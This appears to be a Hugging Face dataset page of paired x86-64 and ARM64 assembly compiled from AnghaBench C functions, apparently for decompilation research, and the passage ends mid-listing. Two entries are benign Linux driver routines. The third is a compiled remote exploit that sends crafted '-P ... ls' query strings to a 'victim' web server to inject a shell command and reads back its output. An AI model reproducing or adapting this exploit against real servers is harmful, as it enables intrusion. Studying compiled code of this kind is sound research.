Sarim-Hash/subset_moldir_data_100k_O2 · Datasets at Hugging Face

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function xgbe_get_module_info _xgbe_get_module_info: ## @xgbe_get_module_info .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %rbx pushq %rax .cfi_offset %rbx, -24 movq %rsi, %rbx callq _netdev_priv movq (%rax), %rcx movq %rax, %rdi movq %rbx, %rsi addq $8, %rsp popq %rbx popq %rbp jmpq *%rcx ## TAILCALL .cfi_endproc ## -- End function .no_dead_strip _xgbe_get_module_info .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function xgbe_get_module_info _xgbe_get_module_info: ; @xgbe_get_module_info .cfi_startproc ; %bb.0: stp x20, x19, [sp, #-32]! ; 16-byte Folded Spill .cfi_def_cfa_offset 32 stp x29, x30, [sp, #16] ; 16-byte Folded Spill add x29, sp, #16 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 mov x19, x1 bl _netdev_priv ldr x2, [x0] mov x1, x19 ldp x29, x30, [sp, #16] ; 16-byte Folded Reload ldp x20, x19, [sp], #32 ; 16-byte Folded Reload br x2 .cfi_endproc ; -- End function .no_dead_strip _xgbe_get_module_info .subsections_via_symbols

AnghaBench/linux/drivers/net/ethernet/amd/xgbe/extr_xgbe-ethtool.c_xgbe_get_module_info.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 4, 0x90 ## -- Begin function rtl28xxu_frontend_ctrl _rtl28xxu_frontend_ctrl: ## @rtl28xxu_frontend_ctrl .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movl %esi, %r12d movq %rdi, %rbx callq _fe_to_d movq %rax, %r15 movq %rbx, %rdi callq _fe_to_priv movq %rax, %r13 movq (%r15), %rdi movl (%rbx), %edx leaq L_.str(%rip), %rsi xorl %r14d, %r14d movl %r12d, %ecx xorl %eax, %eax callq _dev_dbg movq (%r13), %rax movq _CHIP_ID_RTL2831U@GOTPCREL(%rip), %rcx cmpq (%rcx), %rax je LBB0_7 ## %bb.1: movl (%rbx), %eax cmpl $1, %eax je LBB0_4 ## %bb.2: testl %eax, %eax jne LBB0_7 ## %bb.3: testl %r12d, %r12d movl $72, %eax cmovnel %eax, %r12d movq _SYS_DEMOD_CTL@GOTPCREL(%rip), %rax movl (%rax), %esi movq %r15, %rdi movl %r12d, %edx movl $72, %ecx callq _rtl28xxu_wr_reg_mask jmp LBB0_5 LBB0_4: movl 8(%r13), %edi movl %r12d, %esi callq *16(%r13) LBB0_5: movl %eax, %ebx testl %eax, %eax je LBB0_7 ## %bb.6: movq (%r15), %rdi leaq L_.str.1(%rip), %rsi movl %ebx, %edx xorl %eax, %eax callq _dev_dbg movl %ebx, %r14d LBB0_7: movl %r14d, %eax addq $8, %rsp popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "fe=%d onoff=%d\n" .comm _CHIP_ID_RTL2831U,8,3 ## @CHIP_ID_RTL2831U .comm _SYS_DEMOD_CTL,4,2 ## @SYS_DEMOD_CTL L_.str.1: ## @.str.1 .asciz "failed=%d\n" .no_dead_strip _rtl28xxu_frontend_ctrl .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .p2align 2 ; -- Begin function rtl28xxu_frontend_ctrl _rtl28xxu_frontend_ctrl: ; @rtl28xxu_frontend_ctrl .cfi_startproc ; %bb.0: sub sp, sp, #64 .cfi_def_cfa_offset 64 stp x22, x21, [sp, #16] ; 16-byte Folded Spill stp x20, x19, [sp, #32] ; 16-byte Folded Spill stp x29, x30, [sp, #48] ; 16-byte Folded Spill add x29, sp, #48 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 mov x20, x1 mov x21, x0 bl _fe_to_d mov x19, x0 mov x0, x21 bl _fe_to_priv mov x22, x0 ldr x0, [x19] ldr w2, [x21] str x20, [sp] Lloh0: adrp x1, l_.str@PAGE Lloh1: add x1, x1, l_.str@PAGEOFF bl _dev_dbg ldr x8, [x22] Lloh2: adrp x9, _CHIP_ID_RTL2831U@GOTPAGE Lloh3: ldr x9, [x9, _CHIP_ID_RTL2831U@GOTPAGEOFF] Lloh4: ldr x9, [x9] cmp x8, x9 b.eq LBB0_4 ; %bb.1: ldr w8, [x21] cmp w8, #1 b.eq LBB0_5 ; %bb.2: cbnz w8, LBB0_4 ; %bb.3: mov w8, #72 cmp w20, #0 csel w2, wzr, w8, eq Lloh5: adrp x8, _SYS_DEMOD_CTL@GOTPAGE Lloh6: ldr x8, [x8, _SYS_DEMOD_CTL@GOTPAGEOFF] Lloh7: ldr w1, [x8] mov x0, x19 mov w3, #72 bl _rtl28xxu_wr_reg_mask mov x20, x0 cbnz w0, LBB0_6 b LBB0_7 LBB0_4: mov w20, #0 b LBB0_7 LBB0_5: ldr x8, [x22, #16] ldr w0, [x22, #8] mov x1, x20 blr x8 mov x20, x0 cbz w0, LBB0_7 LBB0_6: ldr x0, [x19] Lloh8: adrp x1, l_.str.1@PAGE Lloh9: add x1, x1, l_.str.1@PAGEOFF mov x2, x20 bl _dev_dbg LBB0_7: mov x0, x20 ldp x29, x30, [sp, #48] ; 16-byte Folded Reload ldp x20, x19, [sp, #32] ; 16-byte Folded Reload ldp x22, x21, [sp, #16] ; 16-byte Folded Reload add sp, sp, #64 ret .loh AdrpLdrGotLdr Lloh2, Lloh3, Lloh4 .loh AdrpAdd Lloh0, Lloh1 .loh AdrpLdrGotLdr Lloh5, Lloh6, Lloh7 .loh AdrpAdd Lloh8, Lloh9 .cfi_endproc ; -- End function .section __TEXT,__cstring,cstring_literals l_.str: ; @.str .asciz "fe=%d onoff=%d\n" .comm _CHIP_ID_RTL2831U,8,3 ; @CHIP_ID_RTL2831U .comm _SYS_DEMOD_CTL,4,2 ; @SYS_DEMOD_CTL l_.str.1: ; @.str.1 .asciz "failed=%d\n" .no_dead_strip _rtl28xxu_frontend_ctrl .subsections_via_symbols

AnghaBench/linux/drivers/media/usb/dvb-usb-v2/extr_rtl28xxu.c_rtl28xxu_frontend_ctrl.c

anghabench

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ## -- Begin function main .p2align 4, 0x90 _main: ## @main .cfi_startproc ## %bb.0: pushq %rbp .cfi_def_cfa_offset 16 .cfi_offset %rbp, -16 movq %rsp, %rbp .cfi_def_cfa_register %rbp pushq %r15 pushq %r14 pushq %r13 pushq %r12 pushq %rbx pushq %rax movl $52040, %eax ## imm = 0xCB48 callq ____chkstk_darwin subq %rax, %rsp popq %rax .cfi_offset %rbx, -56 .cfi_offset %r12, -48 .cfi_offset %r13, -40 .cfi_offset %r14, -32 .cfi_offset %r15, -24 movq %rsi, %r14 movl %edi, %ebx movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax movq %rax, -48(%rbp) leaq -52048(%rbp), %rdi movl $2000, %esi ## imm = 0x7D0 callq ___bzero movl $542393671, -52048(%rbp) ## imm = 0x20544547 cmpl $5, %ebx jg LBB0_2 ## %bb.1: movq (%r14), %rdi callq _usage LBB0_2: movq 40(%r14), %rdi callq _atoi cmpl $2, %eax movq %r14, -52056(%rbp) ## 8-byte Spill je LBB0_9 ## %bb.3: cmpl $1, %eax je LBB0_8 ## %bb.4: testl %eax, %eax jne LBB0_10 ## %bb.5: leaq -50048(%rbp), %rbx movq %rbx, %rdi xorl %esi, %esi movl $50000, %edx ## imm = 0xC350 callq _memset movq 24(%r14), %rsi movq %rbx, %rdi callq _strcat leaq L_.str(%rip), %rsi jmp LBB0_6 LBB0_9: leaq -50048(%rbp), %rbx movq %rbx, %rdi xorl %esi, %esi movl $50000, %edx ## imm = 0xC350 callq _memset movq 24(%r14), %rsi movq %rbx, %rdi callq _strcat leaq L_.str.3(%rip), %rsi movq %rbx, %rdi callq _strcat movq 16(%r14), %rsi movq %rbx, %rdi callq _strcat leaq L_.str.4(%rip), %rsi jmp LBB0_7 LBB0_8: leaq -50048(%rbp), %rbx movq %rbx, %rdi xorl %esi, %esi movl $50000, %edx ## imm = 0xC350 callq _memset movq 24(%r14), %rsi movq %rbx, %rdi callq _strcat leaq L_.str.2(%rip), %rsi LBB0_6: movq %rbx, %rdi callq _strcat movq 16(%r14), %rsi movq %rbx, %rdi callq _strcat leaq L_.str.1(%rip), %rsi LBB0_7: movq %rbx, %rdi callq _strcat jmp LBB0_11 LBB0_10: movq (%r14), %rdi callq _usage LBB0_11: leaq L_.str.5(%rip), %rdi xorl %eax, %eax callq _printf leaq -50048(%rbp), %rdi callq _strlen testl %eax, %eax jle LBB0_17 ## %bb.12: movl $4, %ebx xorl %r13d, %r13d leaq L_.str.6(%rip), %r14 leaq -52048(%rbp), %r15 leaq -50048(%rbp), %r12 jmp LBB0_13 .p2align 4, 0x90 LBB0_15: ## in Loop: Header=BB0_13 Depth=1 movl %ebx, %ecx movb %al, -52048(%rbp,%rcx) movl $1, %eax LBB0_16: ## in Loop: Header=BB0_13 Depth=1 addl %eax, %ebx incq %r13 movq %r12, %rdi callq _strlen cltq cmpq %rax, %r13 jge LBB0_17 LBB0_13: ## =>This Inner Loop Header: Depth=1 movzbl -50048(%rbp,%r13), %eax cmpb $32, %al jne LBB0_15 ## %bb.14: ## in Loop: Header=BB0_13 Depth=1 movq %r15, %rdi movq %r14, %rsi callq _strcat movl $3, %eax jmp LBB0_16 LBB0_17: leaq L_.str.7(%rip), %rsi leaq -52048(%rbp), %rdi callq _strcat leaq L_str(%rip), %rdi callq _puts movq _AF_INET@GOTPCREL(%rip), %r15 movl (%r15), %edi movq _SOCK_STREAM@GOTPCREL(%rip), %rax movl (%rax), %esi xorl %edx, %edx callq _socket testl %eax, %eax js LBB0_18 ## %bb.20: movl %eax, %r14d movq -52056(%rbp), %r12 ## 8-byte Reload movq 8(%r12), %rdi callq _gethostbyname testq %rax, %rax je LBB0_21 ## %bb.22: movq %rax, %rbx leaq L_.str.11(%rip), %rdi xorl %eax, %eax callq _printf movl (%r15), %eax movl %eax, -52064(%rbp) movq 32(%r12), %rdi callq _atoi movl %eax, %edi callq _htons movl %eax, -52068(%rbp) movq 8(%rbx), %rsi movl (%rbx), %edx leaq -52072(%rbp), %rbx movq %rbx, %rdi callq _memmove movl %r14d, %edi movq %rbx, %rsi movl $12, %edx callq _connect testq %rax, %rax js LBB0_23 ## %bb.24: leaq L_.str.13(%rip), %rdi xorl %eax, %eax callq _printf leaq -52048(%rbp), %rbx movq %rbx, %rdi callq _strlen movl %r14d, %edi movq %rbx, %rsi movl %eax, %edx xorl %ecx, %ecx callq _send cmpl $-1, %eax je LBB0_25 ## %bb.26: leaq L_str.24(%rip), %rdi callq _puts leaq -52048(%rbp), %rbx movq %rbx, %rdi xorl %esi, %esi movl $2000, %edx ## imm = 0x7D0 callq _memset leaq -50048(%rbp), %r13 movq %r13, %rdi xorl %esi, %esi movl $50000, %edx ## imm = 0xC350 callq _memset leaq L_str.26(%rip), %rdi callq _puts movl %r14d, %edi movq %rbx, %rsi movl $2000, %edx ## imm = 0x7D0 xorl %ecx, %ecx callq _recv testq %rax, %rax jle LBB0_29 ## %bb.27: leaq -50048(%rbp), %r15 leaq -52048(%rbp), %rbx .p2align 4, 0x90 LBB0_28: ## =>This Inner Loop Header: Depth=1 movq %r15, %rdi movq %rbx, %rsi callq _strcat movl %r14d, %edi movq %rbx, %rsi movl $2000, %edx ## imm = 0x7D0 xorl %ecx, %ecx callq _recv testq %rax, %rax jg LBB0_28 LBB0_29: movq %r13, %rdi callq _strlen movl %eax, %r15d movq 40(%r12), %rdi callq _atoi testl %eax, %eax je LBB0_54 ## %bb.30: cmpl $1, %eax je LBB0_43 ## %bb.31: cmpl $2, %eax jne LBB0_66 ## %bb.32: leaq -50048(%rbp), %rbx leaq L_.str.21(%rip), %rsi movq %rbx, %rdi movl $3, %edx callq _strncmp xorl %r12d, %r12d testq %rax, %rax je LBB0_37 ## %bb.33: testl %r15d, %r15d jle LBB0_37 ## %bb.34: leaq -50048(%rbp), %rbx xorl %r12d, %r12d leaq L_.str.21(%rip), %r13 .p2align 4, 0x90 LBB0_35: ## =>This Inner Loop Header: Depth=1 incq %rbx incq %r12 movq %rbx, %rdi movq %r13, %rsi movl $3, %edx callq _strncmp testq %rax, %rax je LBB0_37 ## %bb.36: ## in Loop: Header=BB0_35 Depth=1 cmpl %r15d, %r12d jl LBB0_35 LBB0_37: addq $2, %rbx leaq L_.str.21(%rip), %rsi movq %rbx, %rdi movl $3, %edx callq _strncmp movl $2, %r13d testq %rax, %rax je LBB0_65 ## %bb.38: testl %r15d, %r15d jle LBB0_65 ## %bb.39: movl $1, %r13d .p2align 4, 0x90 LBB0_40: ## =>This Inner Loop Header: Depth=1 incq %rbx movq %rbx, %rdi leaq L_.str.21(%rip), %rsi movl $3, %edx callq _strncmp testq %rax, %rax je LBB0_42 ## %bb.41: ## in Loop: Header=BB0_40 Depth=1 leal 1(%r13), %eax cmpl %r15d, %r13d movl %eax, %r13d jl LBB0_40 LBB0_42: movl $2, %r13d jmp LBB0_65 LBB0_18: leaq L_.str.9(%rip), %rdi LBB0_19: xorl %eax, %eax callq _printf movl %eax, %ebx jmp LBB0_69 LBB0_21: movq 8(%r12), %rsi leaq L_.str.10(%rip), %rdi xorl %eax, %eax callq _printf movl %eax, %ebx jmp LBB0_69 LBB0_23: movq 8(%r12), %rbx movq 24(%r12), %rdi callq _atoi leaq L_.str.12(%rip), %rdi movq %rbx, %rsi movl %eax, %edx xorl %eax, %eax callq _printf movl %eax, %ebx jmp LBB0_69 LBB0_25: leaq L_.str.14(%rip), %rdi jmp LBB0_19 LBB0_54: leaq -50048(%rbp), %rbx leaq L_.str.17(%rip), %rsi movq %rbx, %rdi movl $4, %edx callq _strncmp xorl %r12d, %r12d testq %rax, %rax je LBB0_59 ## %bb.55: testl %r15d, %r15d jle LBB0_59 ## %bb.56: leaq -50048(%rbp), %rbx xorl %r12d, %r12d leaq L_.str.17(%rip), %r13 .p2align 4, 0x90 LBB0_57: ## =>This Inner Loop Header: Depth=1 incq %rbx incq %r12 movq %rbx, %rdi movq %r13, %rsi movl $4, %edx callq _strncmp testq %rax, %rax je LBB0_59 ## %bb.58: ## in Loop: Header=BB0_57 Depth=1 cmpl %r15d, %r12d jl LBB0_57 LBB0_59: addq $4, %rbx leaq L_.str.17(%rip), %rsi movq %rbx, %rdi movl $4, %edx callq _strncmp movl $4, %r13d testq %rax, %rax je LBB0_65 ## %bb.60: xorl %r13d, %r13d .p2align 4, 0x90 LBB0_61: ## =>This Inner Loop Header: Depth=1 movq %rbx, %rdi leaq L_.str.18(%rip), %rsi movl $2, %edx callq _strncmp testq %rax, %rax je LBB0_64 ## %bb.62: ## in Loop: Header=BB0_61 Depth=1 cmpl %r15d, %r13d jge LBB0_64 ## %bb.63: ## in Loop: Header=BB0_61 Depth=1 incl %r13d incq %rbx movq %rbx, %rdi leaq L_.str.17(%rip), %rsi movl $4, %edx callq _strncmp testq %rax, %rax jne LBB0_61 LBB0_64: movl $4, %r13d jmp LBB0_65 LBB0_43: leaq -50048(%rbp), %rbx leaq L_.str.19(%rip), %rsi movq %rbx, %rdi movl $5, %edx callq _strncmp xorl %r12d, %r12d testq %rax, %rax je LBB0_48 ## %bb.44: testl %r15d, %r15d jle LBB0_48 ## %bb.45: leaq -50048(%rbp), %rbx xorl %r12d, %r12d leaq L_.str.19(%rip), %r13 .p2align 4, 0x90 LBB0_46: ## =>This Inner Loop Header: Depth=1 incq %rbx incq %r12 movq %rbx, %rdi movq %r13, %rsi movl $5, %edx callq _strncmp testq %rax, %rax je LBB0_48 ## %bb.47: ## in Loop: Header=BB0_46 Depth=1 cmpl %r15d, %r12d jl LBB0_46 LBB0_48: addq $4, %rbx leaq L_.str.20(%rip), %rsi movq %rbx, %rdi movl $3, %edx callq _strncmp movl $6, %r13d testq %rax, %rax je LBB0_65 ## %bb.49: testl %r15d, %r15d jle LBB0_65 ## %bb.50: movl $1, %r13d .p2align 4, 0x90 LBB0_51: ## =>This Inner Loop Header: Depth=1 incq %rbx movq %rbx, %rdi leaq L_.str.20(%rip), %rsi movl $3, %edx callq _strncmp testq %rax, %rax je LBB0_53 ## %bb.52: ## in Loop: Header=BB0_51 Depth=1 leal 1(%r13), %eax cmpl %r15d, %r13d movl %eax, %r13d jl LBB0_51 LBB0_53: movl $6, %r13d LBB0_65: movb $0, (%rbx) leaq (%r12,%rbp), %rax addq $-50048, %rax ## imm = 0xFFFF3C80 addq %rax, %r13 LBB0_66: cmpb $0, (%r13) je LBB0_67 ## %bb.68: leaq L_.str.23(%rip), %rdi xorl %ebx, %ebx movq %r13, %rsi xorl %eax, %eax callq _printf leaq L_str.26(%rip), %rdi callq _puts movl %r14d, %edi callq _close LBB0_69: movq ___stack_chk_guard@GOTPCREL(%rip), %rax movq (%rax), %rax cmpq -48(%rbp), %rax jne LBB0_71 ## %bb.70: movl %ebx, %eax addq $52040, %rsp ## imm = 0xCB48 popq %rbx popq %r12 popq %r13 popq %r14 popq %r15 popq %rbp retq LBB0_67: leaq L_.str.22(%rip), %rdi jmp LBB0_19 LBB0_71: callq ___stack_chk_fail .cfi_endproc ## -- End function .section __TEXT,__cstring,cstring_literals L_.str: ## @.str .asciz "?-P " L_.str.1: ## @.str.1 .asciz " ls" L_.str.2: ## @.str.2 .asciz "?program=-P " L_.str.3: ## @.str.3 .asciz "?section=-P" L_.str.4: ## @.str.4 .asciz "&topic=w" L_.str.5: ## @.str.5 .asciz "# crafting buffer string ... " L_.str.6: ## @.str.6 .asciz "%20" L_.str.7: ## @.str.7 .asciz "\r\n" .comm _AF_INET,4,2 ## @AF_INET .comm _SOCK_STREAM,4,2 ## @SOCK_STREAM L_.str.9: ## @.str.9 .asciz "# error creating socket.\n" L_.str.10: ## @.str.10 .asciz "# cant resolve the specified hostname: %s\n" L_.str.11: ## @.str.11 .asciz "# connecting to victim... " L_.str.12: ## @.str.12 .asciz "(error)\n# check again %s:%d\n" L_.str.13: ## @.str.13 .asciz "(done)\n# sending crafted string... " L_.str.14: ## @.str.14 .asciz "\n# error while sending the crafted string.!\n" L_.str.17: ## @.str.17 .asciz "<hr>" L_.str.18: ## @.str.18 .asciz "<A" L_.str.19: ## @.str.19 .asciz "<pre>" L_.str.20: ## @.str.20 .asciz "pre" L_.str.21: ## @.str.21 .asciz "PRE" L_.str.22: ## @.str.22 .asciz "# Bad response from the server.\n" L_.str.23: ## @.str.23 .asciz "%s" L_str: ## @str .asciz "(done)" L_str.24: ## @str.24 .asciz "(done)\n# waiting for our call ..." L_str.26: ## @str.26 .asciz "\n" .subsections_via_symbols

.section __TEXT,__text,regular,pure_instructions .build_version macos, 13, 0 sdk_version 13, 3 .globl _main ; -- Begin function main .p2align 2 _main: ; @main .cfi_startproc ; %bb.0: stp x28, x27, [sp, #-96]! ; 16-byte Folded Spill .cfi_def_cfa_offset 96 stp x26, x25, [sp, #16] ; 16-byte Folded Spill stp x24, x23, [sp, #32] ; 16-byte Folded Spill stp x22, x21, [sp, #48] ; 16-byte Folded Spill stp x20, x19, [sp, #64] ; 16-byte Folded Spill stp x29, x30, [sp, #80] ; 16-byte Folded Spill add x29, sp, #80 .cfi_def_cfa w29, 16 .cfi_offset w30, -8 .cfi_offset w29, -16 .cfi_offset w19, -24 .cfi_offset w20, -32 .cfi_offset w21, -40 .cfi_offset w22, -48 .cfi_offset w23, -56 .cfi_offset w24, -64 .cfi_offset w25, -72 .cfi_offset w26, -80 .cfi_offset w27, -88 .cfi_offset w28, -96 mov w9, #52048 Lloh0: adrp x16, ___chkstk_darwin@GOTPAGE Lloh1: ldr x16, [x16, ___chkstk_darwin@GOTPAGEOFF] blr x16 sub sp, sp, #12, lsl #12 ; =49152 sub sp, sp, #2896 mov x20, x1 mov x19, x0 Lloh2: adrp x8, ___stack_chk_guard@GOTPAGE Lloh3: ldr x8, [x8, ___stack_chk_guard@GOTPAGEOFF] Lloh4: ldr x8, [x8] stur x8, [x29, #-88] add x8, sp, #40 add x0, x8, #4 mov w1, #1996 bl _bzero mov w8, #17735 movk w8, #8276, lsl #16 str w8, [sp, #40] cmp w19, #5 b.gt LBB0_2 ; %bb.1: ldr x0, [x20] bl _usage LBB0_2: ldr x0, [x20, #40] bl _atoi cmp w0, #2 b.eq LBB0_6 ; %bb.3: cmp w0, #1 b.eq LBB0_7 ; %bb.4: cbnz w0, LBB0_10 ; %bb.5: add x0, sp, #2040 mov w1, #0 mov w2, #50000 bl _memset ldr x1, [x20, #24] add x0, sp, #2040 bl _strcat Lloh5: adrp x1, l_.str@PAGE Lloh6: add x1, x1, l_.str@PAGEOFF b LBB0_8 LBB0_6: add x0, sp, #2040 mov w1, #0 mov w2, #50000 bl _memset ldr x1, [x20, #24] add x0, sp, #2040 bl _strcat Lloh7: adrp x1, l_.str.3@PAGE Lloh8: add x1, x1, l_.str.3@PAGEOFF add x0, sp, #2040 bl _strcat ldr x1, [x20, #16] add x0, sp, #2040 bl _strcat Lloh9: adrp x1, l_.str.4@PAGE Lloh10: add x1, x1, l_.str.4@PAGEOFF b LBB0_9 LBB0_7: add x0, sp, #2040 mov w1, #0 mov w2, #50000 bl _memset ldr x1, [x20, #24] add x0, sp, #2040 bl _strcat Lloh11: adrp x1, l_.str.2@PAGE Lloh12: add x1, x1, l_.str.2@PAGEOFF LBB0_8: add x0, sp, #2040 bl _strcat ldr x1, [x20, #16] add x0, sp, #2040 bl _strcat Lloh13: adrp x1, l_.str.1@PAGE Lloh14: add x1, x1, l_.str.1@PAGEOFF LBB0_9: add x0, sp, #2040 bl _strcat b LBB0_11 LBB0_10: ldr x0, [x20] bl _usage LBB0_11: Lloh15: adrp x0, l_.str.5@PAGE Lloh16: add x0, x0, l_.str.5@PAGEOFF bl _printf add x21, sp, #2040 add x0, sp, #2040 bl _strlen cmp w0, #1 b.lt LBB0_17 ; %bb.12: mov x22, #0 mov w23, #4 add x24, sp, #40 Lloh17: adrp x19, l_.str.6@PAGE Lloh18: add x19, x19, l_.str.6@PAGEOFF b LBB0_15 LBB0_13: ; in Loop: Header=BB0_15 Depth=1 strb w8, [x24, w23, uxtw] mov w8, #1 LBB0_14: ; in Loop: Header=BB0_15 Depth=1 add w23, w23, w8 add x22, x22, #1 add x0, sp, #2040 bl _strlen cmp x22, w0, sxtw b.ge LBB0_17 LBB0_15: ; =>This Inner Loop Header: Depth=1 ldrb w8, [x21, x22] cmp w8, #32 b.ne LBB0_13 ; %bb.16: ; in Loop: Header=BB0_15 Depth=1 add x0, sp, #40 mov x1, x19 bl _strcat mov w8, #3 b LBB0_14 LBB0_17: Lloh19: adrp x1, l_.str.7@PAGE Lloh20: add x1, x1, l_.str.7@PAGEOFF add x0, sp, #40 bl _strcat Lloh21: adrp x0, l_str@PAGE Lloh22: add x0, x0, l_str@PAGEOFF bl _puts Lloh23: adrp x22, _AF_INET@GOTPAGE Lloh24: ldr x22, [x22, _AF_INET@GOTPAGEOFF] ldr w0, [x22] Lloh25: adrp x8, _SOCK_STREAM@GOTPAGE Lloh26: ldr x8, [x8, _SOCK_STREAM@GOTPAGEOFF] Lloh27: ldr w1, [x8] mov w2, #0 bl _socket tbnz w0, #31, LBB0_36 ; %bb.18: mov x19, x0 ldr x0, [x20, #8] bl _gethostbyname cbz x0, LBB0_37 ; %bb.19: mov x21, x0 Lloh28: adrp x0, l_.str.11@PAGE Lloh29: add x0, x0, l_.str.11@PAGEOFF bl _printf ldr w8, [x22] str w8, [sp, #32] ldr x0, [x20, #32] bl _atoi bl _htons str w0, [sp, #28] ldr x1, [x21, #8] ldr w2, [x21] add x0, sp, #24 bl _memmove add x1, sp, #24 mov x0, x19 mov w2, #12 bl _connect tbnz x0, #63, LBB0_38 ; %bb.20: Lloh30: adrp x0, l_.str.13@PAGE Lloh31: add x0, x0, l_.str.13@PAGEOFF bl _printf add x0, sp, #40 bl _strlen mov x2, x0 add x1, sp, #40 mov x0, x19 mov w3, #0 bl _send cmn w0, #1 b.eq LBB0_39 ; %bb.21: Lloh32: adrp x0, l_str.24@PAGE Lloh33: add x0, x0, l_str.24@PAGEOFF bl _puts add x0, sp, #40 mov w1, #0 mov w2, #2000 bl _memset add x0, sp, #2040 mov w1, #0 mov w2, #50000 bl _memset Lloh34: adrp x0, l_str.26@PAGE Lloh35: add x0, x0, l_str.26@PAGEOFF bl _puts add x1, sp, #40 mov x0, x19 mov w2, #2000 mov w3, #0 bl _recv cmp x0, #1 b.lt LBB0_23 LBB0_22: ; =>This Inner Loop Header: Depth=1 add x0, sp, #2040 add x1, sp, #40 bl _strcat add x1, sp, #40 mov x0, x19 mov w2, #2000 mov w3, #0 bl _recv cmp x0, #0 b.gt LBB0_22 LBB0_23: add x22, sp, #2040 add x0, sp, #2040 bl _strlen mov x21, x0 ldr x0, [x20, #40] bl _atoi cbz w0, LBB0_40 ; %bb.24: cmp w0, #1 b.eq LBB0_51 ; %bb.25: cmp w0, #2 b.ne LBB0_62 ; %bb.26: add x23, sp, #2040 Lloh36: adrp x1, l_.str.21@PAGE Lloh37: add x1, x1, l_.str.21@PAGEOFF add x0, sp, #2040 mov w2, #3 bl _strncmp mov x24, #0 cbz x0, LBB0_31 ; %bb.27: cmp w21, #1 b.lt LBB0_31 ; %bb.28: mov x24, #0 add x22, sp, #2040 Lloh38: adrp x20, l_.str.21@PAGE Lloh39: add x20, x20, l_.str.21@PAGEOFF LBB0_29: ; =>This Inner Loop Header: Depth=1 add x8, x22, x24 add x0, x8, #1 add x24, x24, #1 mov x1, x20 mov w2, #3 bl _strncmp cmp x0, #0 ccmp w24, w21, #0, ne b.lt LBB0_29 ; %bb.30: add x8, sp, #2040 add x23, x8, x24 LBB0_31: add x20, x23, #2 Lloh40: adrp x1, l_.str.21@PAGE Lloh41: add x1, x1, l_.str.21@PAGEOFF mov x0, x20 mov w2, #3 bl _strncmp mov w22, #2 cbz x0, LBB0_61 ; %bb.32: cmp w21, #1 b.lt LBB0_61 ; %bb.33: mov x8, #0 Lloh42: adrp x20, l_.str.21@PAGE Lloh43: add x20, x20, l_.str.21@PAGEOFF LBB0_34: ; =>This Inner Loop Header: Depth=1 add x22, x8, #1 add x8, x23, x8 add x0, x8, #3 mov x1, x20 mov w2, #3 bl _strncmp cmp x0, #0 ccmp w22, w21, #0, ne mov x8, x22 b.lt LBB0_34 ; %bb.35: add x8, x23, x22 add x20, x8, #2 mov w22, #2 b LBB0_61 LBB0_36: Lloh44: adrp x0, l_.str.9@PAGE Lloh45: add x0, x0, l_.str.9@PAGEOFF b LBB0_65 LBB0_37: ldr x8, [x20, #8] str x8, [sp] Lloh46: adrp x0, l_.str.10@PAGE Lloh47: add x0, x0, l_.str.10@PAGEOFF b LBB0_65 LBB0_38: ldr x19, [x20, #8] ldr x0, [x20, #24] bl _atoi ; kill: def $w0 killed $w0 def $x0 stp x19, x0, [sp] Lloh48: adrp x0, l_.str.12@PAGE Lloh49: add x0, x0, l_.str.12@PAGEOFF b LBB0_65 LBB0_39: Lloh50: adrp x0, l_.str.14@PAGE Lloh51: add x0, x0, l_.str.14@PAGEOFF b LBB0_65 LBB0_40: add x25, sp, #2040 Lloh52: adrp x1, l_.str.17@PAGE Lloh53: add x1, x1, l_.str.17@PAGEOFF add x0, sp, #2040 mov w2, #4 bl _strncmp mov x24, #0 cbz x0, LBB0_45 ; %bb.41: cmp w21, #1 b.lt LBB0_45 ; %bb.42: mov x24, #0 add x22, sp, #2040 Lloh54: adrp x20, l_.str.17@PAGE Lloh55: add x20, x20, l_.str.17@PAGEOFF LBB0_43: ; =>This Inner Loop Header: Depth=1 add x8, x22, x24 add x0, x8, #1 add x24, x24, #1 mov x1, x20 mov w2, #4 bl _strncmp cmp x0, #0 ccmp w24, w21, #0, ne b.lt LBB0_43 ; %bb.44: add x8, sp, #2040 add x25, x8, x24 LBB0_45: add x20, x25, #4 Lloh56: adrp x1, l_.str.17@PAGE Lloh57: add x1, x1, l_.str.17@PAGEOFF mov w22, #4 mov x0, x20 mov w2, #4 bl _strncmp cbz x0, LBB0_61 ; %bb.46: mov x26, #0 Lloh58: adrp x22, l_.str.18@PAGE Lloh59: add x22, x22, l_.str.18@PAGEOFF Lloh60: adrp x23, l_.str.17@PAGE Lloh61: add x23, x23, l_.str.17@PAGEOFF LBB0_47: ; =>This Inner Loop Header: Depth=1 add x27, x25, x26 add x20, x27, #4 mov x0, x20 mov x1, x22 mov w2, #2 bl _strncmp cmp x0, #0 ccmp w26, w21, #0, ne b.ge LBB0_50 ; %bb.48: ; in Loop: Header=BB0_47 Depth=1 add x0, x27, #5 mov x1, x23 mov w2, #4 bl _strncmp add x26, x26, #1 cbnz x0, LBB0_47 ; %bb.49: add x8, x25, x26 add x20, x8, #4 LBB0_50: mov w22, #4 b LBB0_61 LBB0_51: add x23, sp, #2040 Lloh62: adrp 